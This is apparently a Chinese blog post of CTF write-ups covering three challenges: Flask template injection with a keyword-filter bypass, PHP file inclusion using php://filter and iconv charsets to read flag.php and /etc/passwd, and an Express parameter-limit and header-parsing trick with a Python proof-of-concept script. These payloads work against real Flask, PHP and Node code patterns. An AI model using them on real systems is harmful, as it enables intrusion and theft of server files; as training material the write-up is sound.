刷题记录(三)

攻防世界-Confusion1

打开环境,主页导航有三个选项,其中注册和登陆页面报错404,但提示了flag的位置

在首页的url后面添加{{1+1}}发现系统存在SSTI漏洞。

使用经典payload进行尝试:

''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()

结果报错,说明系统对class,subclasses等关键字进行了过滤。
request是Flask框架的一个全局变量,并且本系统没有对request关键字进行过滤,可以利用request.args绕过黑名单进行模板注入。
最终payload:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

攻防世界-文件包含

题目给了源码

<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

传入参数?filename=/etc/passwd

提示用了错误方法,尝试用伪协议将资源内容编码后外带,用php://filter加convert.base64-encode读取flag.php?filename=php://filter/read=convert.base64-encode/resource=flag.php

提示"do not hack"说明设置了黑名单过滤了敏感字符串,接下来fuzz一下哪些字符串被禁用。
结果发现base64,read关键字被过滤。尝试使用iconv.*过滤器,该过滤器不支持参数,但可以使用输入/输出的编码名称组成过滤器名称。比如iconv("ASCII","UTF-8",$string)该语句的作用是将$string从ascii编码转换成utf-8编码。接下来可以用以下字符集进行尝试

UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*

payload:
?filename=php://filter/convert.iconv.a编码.b编码/resource=flag.php
使用burpsuite对输入/输出编码组合进行爆破:

攻防世界-ez_curl

环境初始界面给了以下代码

<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
    $offset = stripos($headers[$i], ':');
    $key = substr($headers[$i], 0, $offset);
    $value = substr($headers[$i], $offset + 1);
    if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
        die('try hard');
    }
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;

还有一个附件js代码:

const express = require('express');
const app = express();
const port = 3000;
const flag = process.env.flag;
app.get('/flag', (req, res) => {
    if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
    }
});
app.listen({ port: port , host: '0.0.0.0'});

分析php代码,$input变量是通过file_get_contents('php://input')的方式获取,接着用到对$input变量进行json解码,因此传入的数据应该是json格式。
另外,当Content-Type为application/x-www-form-urlencoded且提交方法是POST方法时,$_POST数据与php://input数据等价的。我们可以通过这种方式构造参数上传。
再看js代码,

if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
        res.send(flag);
    }else{
        res.send('try hard');
}

要求参数admin不包含false,且headers里的admin字段有true。但是请求是在php代码里构造的,以字符串拼接的形式携带了admin=false这个参数,所以js代码无法返回flag。
由于express的parameterLimit默认为1000,参数最大限制为1000,可以在请求上加1000个参数能把&admin=false挤掉。
在构造headers时要求里面有admin包含'true',只要字符串中包含true就行。而for循环中存在检测,存在admin:true的键值对会触发die('try hard');
rfc规定一个field-name是由一个或多个ascii字符组成,不包括分隔符和空格。因此如果一个field-name的首字符是空格,那么这个请求的header就是非法的,会被丢弃,但是nodejs在处理这类情况的时候条件放松了。最终post内容:

{"headers": ["admin: x", " true: y"]}

poc脚本:

import json
import requests
from abc import ABC
url = "http://61.147.171.105:49903/"
datas = {"headers": ["admin:a"," true:a", "Content-Type: application/json"],
         "params": {"admin": "true"}}
         
for i in range(1020):
    datas["params"]["x" + str(i)] = i
    
headers = {
    "Content-Type": "application/json"
}

json1 = json.dumps(datas)

print(json1)
resp = requests.post(url, headers=headers, data=json1)
print(resp.text)
posted @ 2023-08-16 17:35  ordigard  阅读(57)  评论(0编辑  收藏  举报